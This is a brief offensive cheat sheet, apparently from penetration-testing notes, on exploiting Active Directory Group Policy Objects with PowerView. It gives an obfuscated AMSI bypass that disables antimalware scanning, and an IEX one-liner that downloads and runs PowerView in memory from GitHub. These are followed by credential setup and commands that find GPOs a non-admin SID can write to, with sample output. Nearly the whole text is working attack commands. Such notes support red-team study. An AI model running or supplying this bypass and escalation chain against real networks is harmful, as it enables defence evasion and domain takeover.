GPO Exploitation
PowerView:
#bypass amsi
$xx = [Ref].Assembly.GetTypes(); Foreach($yy in $xx) {if ($yy.Name -like "*iUtils") {$vv = $yy}}; $ww = $vv.GetFields("NonPublic,Static"); Foreach ($uu in $ww) { if ($uu.Name -like "*nitFailed") {$ux = $uu}}; $ux.SetValue($null,$true)
# inject into memory
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')
# create new session
$SecPassword = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USER', $SecPassword)
# recon
Get-NetGPO -Credential $cred
Get-NetGPO -Credential $cred | %{Get-ObjectAcl -Credential $cred -ResolveGUIDs -Name $_.Name}
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Invoke-ACLScanner|select IdentityReferenceName
# who can create GPOs
Get-DomainObjectAcl -searchbase "CN=Policies,CN=System,DC=DOMAIN,DC=local" -ResolveGUIDs | Where-Object { $_.ObjectAceType -eq "Group-Policy-Container"}
convert-sidtoname SID-OF-CHILD
# pipe Get-DomainGPO into Get-DomainObjectAcl to find which principals can modify them. Here we look for ActiveDirectoryRights that match WriteProperty, WriteDacl or WriteOwner. (In most cases we only expect to find WriteProperty, but having WriteDacl or WriteOwner will allow us to grant WriteProperty to ourselves and modify the GPO anyway).
# put a match in for the SecurityIdentifier so we only list RIDs > 1000 to avoid seeing Domain Admins and Enterprise Admins etc for every GPO.
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-1396373213-2872852198-2033860859-(\d{4,10})" }
# Responded with:
# ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
# SecurityIdentifier : S-1-5-21-1396373213-2872852198-2033860859-1159
Get-DomainGPO -ComputerIdentity sql01 -Properties Name, DisplayNameDACLs
Last updated
